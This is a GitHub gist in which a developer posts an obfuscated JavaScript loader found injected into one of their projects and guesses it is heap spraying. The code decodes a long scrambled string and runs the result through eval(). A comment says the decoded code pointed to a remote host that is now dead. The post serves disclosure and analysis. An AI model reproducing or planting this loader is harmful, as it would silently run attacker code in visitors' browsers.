Created
April 13, 2012 19:12
-
-
Save Termina1/2379287 to your computer and use it in GitHub Desktop.
Some JS exploit found on one of my projects. Probably heap spraying.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var r57c26=""; | |
function n99a924125ca(){ | |
var md95c2db6 = Array.prototype.slice.call(arguments).join(""), | |
x5f9144e2 = md95c2db6.substr(13,3) - 571, | |
h831241b, | |
md2fbec; | |
md95c2db6 = md95c2db6.substr(16); | |
var s191d5 = f351aa609(md95c2db6); | |
for(var c3f4f318=0;c3f4f318<s191d5;c3f4f318++) { | |
try{ | |
throw(kcead4 = md95c2db6.substr(c3f4f318,1)); | |
} catch(e){ | |
kcead4 = e; | |
}; | |
if(kcead4=='β’') { | |
x5f9144e2=""; | |
c3f4f318 = m6e801b12(c3f4f318); | |
pa28e9d8a = qd13ef042(md95c2db6,c3f4f318); | |
while(pa28e9d8a!='β’') { | |
x5f9144e2+=pa28e9d8a; | |
c3f4f318++; | |
pa28e9d8a=y758f84f(md95c2db6,c3f4f318); | |
} | |
x5f9144e2-=387; | |
continue; | |
} | |
h831241b=""; | |
if(rdb213(kcead4)) { | |
c3f4f318++; | |
kcead4 = md95c2db6.substr(c3f4f318,1); | |
while(kcead4!='β') | |
{ | |
h831241b += kcead4; | |
c3f4f318++; | |
kcead4 = md95c2db6.substr(c3f4f318,1); | |
} | |
h831241b = h831241b - x5f9144e2 - 4; | |
if(h831241b < 0) | |
h831241b+=256; | |
if(h831241b >= 192) | |
h831241b += 848; | |
else if(h831241b == 168) | |
h831241b=1025; | |
else if(h831241b==184) | |
h831241b=1105;u9ce2b(h831241b); | |
continue; | |
} | |
e1944a7d = f11768c85(kcead4); | |
if(e1944a7d > 848) | |
e1944a7d-=848; | |
md2fbec = e1944a7d - x5f9144e2 - 4; | |
md2fbec = me7498a7(md2fbec); | |
r57c26 += String["\x66\x72o\x6dC\x68a\x72Code"](md2fbec); | |
} | |
} | |
n99a924125ca("d","0a1cc2","e0","e","2","de","6","22_","β","157β","β172ββ1","65ββ1","54ββ’","45","6β’","β","189","ββ’","5","1","0","β’","β2","32","ββ","2","3","8ββ","237","β","β","16","7ββ’4","0","4","β’",">","5β’5","35","β’","β","19","β","β","1","65","ββ’","435","β’>","β’","4","85","β’","o","β’4","04","β’","β","1","39","β","vβ’5","54β’","β","29","ββ20","3β","β’4","12","β’","β1","46ββ1","4","3","β","β’415β’","β14","0ββ’","570","β’","β219ββ’","5","3","5β’β2","1","3","ββ","1","8","4β","β","19","1","ββ0ββ12β","β’5","0","6β’β","239β","β235β","β","181","β","β’4","9","3β’β1","5","7ββ157","ββ2","20ββ’45","2","β’β","18","3β","β","173","β","β1","86","ββ1","86βs","β’5","50","β’β","1","2","ββ’55","1","β’β","1","4","β","β","2","0","ββ2","9","β","β’","4","29","β’","β","1","44","β","β","1","49","β","β’5","7","0","β’,","β’","5","65β’)β’","56","3","β’","'","β","21ββ2","26β","β2","4ββ’","4","03","β’","β","14","1β","β","130ββ’4","8","1β’β19","8ββ","2","08","β","β’","4","8","1β’","β","213ββ","1","4","3","ββ’428","β’β","150","β","β’","5","74β’/β’5","70β’","β","2","33ββ’","4","58β’β1","74","β","β’","4","8","4β’","β212","ββ2","1","0ββ’3","9","9β’?wβ’","47","8","β’","β14","2β","β’","3","97","β’","5Iβ27ββ24ββ","2","3","βw","β’","50","1β’β2","2","0","ββ’3","9","9β’0","8β’","52","4β’β1ββ’455","β’","β","193","ββ","184","β","β’5","62","β’","β2","4β\"","β","2","5ββ","211","β","*","β28β","!","β2","3β","\"*","β’","554β’β","2","17ββ’","47","1","β’β","2","08","β","β’546","β’","β","2","8ββ’46","9","β’","β20","8ββ1","8","8","ββ’529","β’","β25","4","ββ’4","6","1β’","β175","β","β","18","1βn","β","13","9β","β’55","2","β’β2","3","0","β","β2","3","0","β","β2","01","β","β","2","08β","β’498β’","β2","32β","β’","3","9","4β’yo","β’3","91β’","m","β’42","8","β’","β1","47β","β1","50β","β’","496β’","β2","23ββ’5","06","β’β2","24ββ","223ββ1","62β","β","1","6","4","β","β’","460","β’","mβ’","56","7β’","3β’4","3","1","β’=","β’395β’","β2","2","β","β2","1ββ","21β","β","13","1","βuβ’","56","9β’","(","β’55","8","β’β19","ββ3","0ββ’","5","6","0","β’","(β’4","9","1","β’β","15","4","ββ’5","4","5β’","β2","6","β","β’","47","9β’","β217ββ","218","β","β","1","9","8","β","β’","464β’β1","8","9","β","β","1","78","ββ’","5","8","2","β’",".β’4","47β’`β’44","6β’","β1","24","ββ’","411β’","<LW)","β’","4","2","3","β’2","1","β’","42","0β’","β1","62β","β’","54","6","β’β1","7","6","ββ173","ββ’49","5β’","yβ","2","1","2","β","β22","3","ββ’5","43","β’","β","3ββ","21","β","β’","496β’β22","2","β","β2","14ββ’3","95","β’zβ1","2","8β",":β’","4","93β’","β2","2","1β","β22","0","β","β","219","β","β’564","β’$","β’","5","23β’β1","ββ’","41","8β’β15","0ββ’","5","4","0β’β","2","ββ","10","β","β’","4","0","0β’β128ββ’4","73","β’β208ββ","1","9","1βz","β15","1βz","β","19","2","β","β’568","β’.","'","β’4","5","9β’","β","1","75ββ1","92ββ1","81","ββ’","47","9β’β2","0","7ββ","2","06ββ’","405","β’>","?","6","β","1","4","5","β","β’","477","β’k","h","β’","38","9β’β1","5β","β","1","5β","β’54","8","β’β14","β","β’4","3","9","β’β1","58βX","`β1","75","ββ’","480β’","β2","0","2","ββ207ββ’","3","9","5β’","p","β’5","3","1","β’","β","3ββ","11ββ19","4","β","β’4","1","4β’β","15","1","ββ1","5","2","β","β’513","β’","β","2","52","β","β23","2β","β2","38ββ2","27","β","β","23","3","ββ’","4","17","β’Bβ’4","99","β’β17","7","ββ","17","7","β","β1","7","7β","β1","48","β","β","16","4","β","β1","57β","β","148","ββ23","9ββ’","5","85β’","β","2","15ββ’4","8","6","β’","q","p","β’4","8","7","β’qqβ","22","3β","β","20","9","β","β","214","ββ’","44","7β’β","1","64ββ’549β’","β","21ββ29","β","β2","12","ββ’442β’","β179ββ","1","80","ββ","1","81","ββ’40","7β’β","1","26ββ’","5","31","β’β","0","β","β2","45","β","β’58","3β’/β","2","32","β","β’","56","1β’","β239β","β’","431β’","P","β’","4","7","1β’","β137ββ147β","β’4","3","6β’B?β’","4","5","4","β’P","P","Pβ’58","6","β’","A","β’54","9β’","β7ββ’","56","5β’(","β","214","ββ","30ββ’","4","28","β’","β1","46","ββ142β","β145βM","β’490","β’β16","8β","β’471β’xβ18","8β","β19","9β","β","18","7","β","β’","47","5","β’β","209β","β2","01ββ’","5","58β’β20ββ2","9","β#β2","21","β","β’5","2","6β’","β","24","6","ββ2","44","ββ’5","06","β’β239","ββ’5","20","β’","β20","6","β","β","245ββ23","8ββ’4","80","β’β","206","ββ","19","8ββ’541","β’β","1","2ββ18ββ17ββ224","β","β’","39","6","β’β","134βan","β’","3","9","1β’o","β’4","86β’","β","181ββ","20","0β","β’4","48","β’","β","1","7","4ββ’49","0","β’","β2","0","8β","β1","47β","β14","6ββ’425","β’β","146","β","β1","43β","β13","9","ββ’51","3","β’","β2","30","β","β’","437","β’]_","β’","45","1","β’β1","59","β","tβ","1","61ββ1","2","7","ββ’","504β’β","1","3","4","β","β’5","7","0β’","β19","7ββ19","6β","β’51","8","β’β1","4","4ββ1","4","4","ββ","25","3ββ’","4","60","β’","β174ββ’5","4","7","β’β","22","β","β’","460β’","m","β","19","2","β","β’","57","8β’","&5,β’460","β’β","18","9","β","β’","562β’","'","β’","449β’b","β","1","2","7β","β’","44","6β’","_","β","1","6","3","β","β17","4β","β’","5","5","8","β’β1","8","β$β","28ββ’","5","16β’β2","3","4","β","β24","3","β","β’4","36β’","β1","6","9βc","β15","2","β","β’393β’","β","124","β","β’","4","1","0","β’β","12","8β","β1","2","4","β","β’","4","7","9","β’β2","1","2","β","β","1","97","ββ","165ββ","204","β","β’","43","3β’","β15","1","β","β’","541β’β11β","β’575β’%β’","5","86β’","9β’","4","68","β’","β201ββ’","514","β’β","171","β","β’5","80","β’","β2","36β8β’","5","6","3β’","β2","3","β&β’","46","4","β’β","186ββ","19","3","β","β’54","6β’","β","2","3β","β’513","β’β","16","9ββ","17","1","ββ’416","β’\\β’42","0β’2","/..β’416β’*","β’5","07","β’β","23","9ββ’5","0","0","β’","β","2","1","6","ββ","2","31","ββ’","5","86","β’4","β’4","49β’β1","7","8β","β’4","2","5β’","β","15","8","β","β’","39","2","β’","7β’","5","09β’β","2","42ββ","2","47β","β","2","38ββ’","4","42β’β160β","[x","[β’58","5","β’β241β","β’","4","2","5","β’","β","1","5","8ββ14","3","β","β","1","6","2","β","β’520","β’β2","53","ββ’","39","0β’","6q","hβ","1","2","5","βhβ’4","82β’β214","β","β’509β’β2","25ββ’","449","β’","β","18","0ββ’","4","99β’","β","22","1","ββ’5","8","2","β’","7",";","β2","3","8","β","β’3","9","9","β’K","β’4","37","β’","C@","?","??β169","β","β1","5","3","ββ","1","6","8β","β1","59ββ","1","6","6","ββ1","7","0β","β’4","9","5","β’","β","1","5","8","β","β’","5","1","8","β’β","246","ββ’521β’β","24","8","β","β’","5","15β’","β24","6ββ","23","3ββ’","43","3","β’","β147ββ’4","88β’β2","0","5","β","β’4","21β’","β","15","9β","β’4","84","β’","β","216ββ","217","ββ’","47","1","β’β","185","ββ’","43","8β’","β1","71β","β15","6","β","β","1","54ββ","1","59β","β’","4","1","2","β’β","1","26β","β’","569β’(","!","β’49","6β’","β","21","4ββ14","5","ββ’","40","1","β’O","β’4","09β’:β","12","8","β","β’","4","4","6β’","β18","0ββ173","ββ’","5","70","β’β","30","β/","$","*)β2","19ββ2","2","7","β","β","22","8","ββ’","54","6β’β","19","5","ββ3","0","β","β’5","2","6β’","β","1","5","6ββ’5","4","5β’","β","1","7","2ββ’","51","8","β’","β","1","4","4β","β","144ββ’47","3β’ccβ’","53","5β’β1β","β","25","4β","β’","582β’β","231ββ’","5","53β’β210β","β’","4","18β’β1","5","1β","β","139","β","β","1","40ββ’5","3","5","β’","β11","ββ","198β","β’5","16β’","β","2","4","7β","β’","402β’","x","t","β’","50","2β’","β2","1","9ββ240","β","β’","468","β’","β1","6","8","ββ2","0","1","β","β","1","8","2β","β","201","ββ186β","β’","4","43β’","\\y","β’","486β’","β1","6","4","β","β’51","0","β’β1","59ββ","1","6","6β","β22","6β","β2","3","8","β","β2","3","6ββ’5","0","0β’","β229ββ","225β","β","21","8","β","β2","3","3","β","β2","18","β","β1","56ββ1","5","8","β","β’","5","02β’","β","1","5","1","β","β’5","49β’","!","β179","ββ","1","7","6","ββ17","5ββ1","7","5β","β","1","7","5ββ1","7","5β","β","17","5ββ’4","4","4","β’","β","180β","β’","435β’β157","β","β1","6","2","ββ15","2","ββ","163","β","β’55","4β’","\"","β’4","1","8β’","Q","β’","423","β’","β","1","60","β","β1","6","1","β","β1","62ββ’5","03","β’β","2","22","ββ’","5","58β’","β27","ββ","16","β","β’468β’","β1","88","βuβ’","466","β’β1","4","4","β","β’523β’","β","172","β","β","1","9","0","ββ","199ββ’","44","7","β’M","β’","3","9","6β’","β","2","3ββ’","4","8","0β’","j","β’","49","4","β’","xβ’","567","β’β","1","93β","β","1","9","3","β5β’","5","8","1β’","β","211β","β’5","0","0","β’β1","2","7","ββ’","4","0","8β’","\"β’","430","β’","8","8","β’","3","98","β’","β","1","40β","β’5","0","1","β’β1","77","β","β","1","3","1","ββ128β","β1","2","7ββ1","27","β","β1","27","ββ","2","33","ββ’5","14β’","β2","3","0","β","β24","5","ββ","23","6ββ","24","3","ββ","24","7","ββ’","5","59","β’","β22","2","ββ’44","7","β’","β1","75","β","β’","445","β’","β17","2ββ’5","71β’(β’410","β’β","1","3","8ββ’","5","60β’","β1","8ββ’40","3β’","x4","Q4","z","β’","5","2","8β’","β","6ββ","25","5","ββ’4","8","5","β’β","201","ββ","2","1","8ββ’","573","β’","'β’4","2","9","β’","β","1","57","β","β’427","β’β","1","54β","β’5","18","β’β","17","5","β","β17","6ββ’422","β’","Gβ162ββ’4","1","9","β’1",".--","β’476β’","ff","β212","β","β","19","8","β","β’","424β’β15","1ββ","1","41β","β152β","β’4","6","0β’β","1","9","6ββ’","5","58","β’β2","21","β","β’","44","0β’","β","1","7","7","β","β’","522β’β","4","β","β’4","7","5","β’β","214","ββ1","9","4","β","β’5","14β’","β23","9ββ’","5","05β’","β","219ββ’474β’","β","1","9","4","ββ1","2","3ββ","1","5","2","ββ","1","23ββ’4","84β’β","151β","β","1","60ββ’4","4","2β’H","β’","58","5","β’β21","2","β","β211ββ","211ββ’46","7","β’","]β","2","09β","β’","439","β’","s","EB","Aβ’","579β’β","205ββ2","0","5","β7β’","5","5","4β’β1","4","β","β’","402","β’β133","β","β","1","2","4ββ1","3","1ββ’","5","5","8","β’","#β’390β’","5zy","j","β’","47","3","β’","zβ","15","1βz","β20","7β","β","20","4β","β’4","0","5","β’","β","1","30","β","β’408","β’","9β’","504β’","β164ββ’","4","9","7β’","β","146β","β1","91","β","β2","11β","β","2","3","0","β","β’","5","04β’β22","5β","β","1","67ββ’","4","02","β’","β13","3","βt","β’","389β’","t","β’","5","1","9β’β","23","6","ββ","247β","β24","5β","β","17","6","β","β","1","77","ββ’414β’","Mβ1","4","7ββ’","5","60β’","β","32β","β4","β","%#","β’","578β’",",","β’51","2","β’","β","2","39","β","β’","469","β’","β189","ββ’","55","6","β’","β213","β","β","2","14ββ2","1","9","β","β","32","β","β’4","9","5","β’β","22","9","β","β’586β’-β’3","96β’β","1","28","ββ1","29β","β12","7","β","β’4","44β’β166","ββ’","40","6β’β1","3","3β","β","1","2","6","β","β’","56","9","β’","β22","6ββ’446","β’rhβ’5","3","8β’","β187ββ","198β","β’","504β’β","15","3ββ’","390β’.","β’","53","6","β’β1","9","9","β","β3","ββ1","2","β","β’","40","5","β’","=Q","#","β’518","β’","β","14","5","β","β’4","89β’sβ’5","1","5β’","β","1","4","1ββ’532","β’β","15","8","ββ’","4","90","β’","β","211ββ’4","30","β’","β","148ββ1","44β","β’","5","7","6β’%β239","β\"","β’54","5β’","β1","8ββ1","8","β","β’491","β’","β209β","β","21","8β","β","2","08ββ175","β","β","212","ββ2","13","ββ216","β","β","208β","β1","4","8β","β’40","9β’","β","1","41","β","β","12","5β","β","1","40β","β’464","β’β18","6","β","β’4","6","6","β’β1","9","5ββ","199","ββ’4","57","β’s","β’","393","β’","Eβ’","42","1","β’30/","β’4","67","β’","]β20","9","β","β’4","73β’","g","β’539","β’β","1","66","β","β’","4","18β’,","β’44","9β’","β1","91β","β","1","25β","OLβ","1","91ββ’","56","7β’","β22","5","ββ2","2","4","β","β2","2","5","ββ","2","4","3β"); | |
eval(r57c26); | |
function f351aa609(ob45130) { | |
return ob45130.length; | |
} | |
function m6e801b12(e866163e7) { | |
return ++e866163e7; | |
} | |
function qd13ef042(m38331,jb7ab9926) { | |
return m38331.substr(jb7ab9926,1); | |
} | |
function y758f84f(i10d1f8d,md5642){ | |
return i10d1f8d.substr(md5642,1); | |
} | |
function rdb213(c629a5) { | |
return c629a5=='β'; | |
} | |
function u9ce2b(c48acd5c0) { | |
var String = String; | |
r57c26 += String["\x66\x72o\x6dC\x68a\x72Code"](c48acd5c0); | |
} | |
function me7498a7(g5885054) { | |
var r12a98ade = g5885054; | |
if(r12a98ade < 0) | |
r12a98ade += 256; | |
if(r12a98ade==168) | |
r12a98ade=1025; | |
else if(r12a98ade==184) | |
r12a98ade=1105; | |
return (r12a98ade >= 192 && r12a98ade < 256) ? r12a98ade+848 : r12a98ade; | |
} | |
function f11768c85(qfc750) { | |
return (qfc750+'')["\x63\x68\x61\x72C\x6f\x64eA\x74"](0); | |
} |
Author
Termina1
commented
Apr 13, 2012
Actually generates this code, but unfortunately the remote host is dead
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment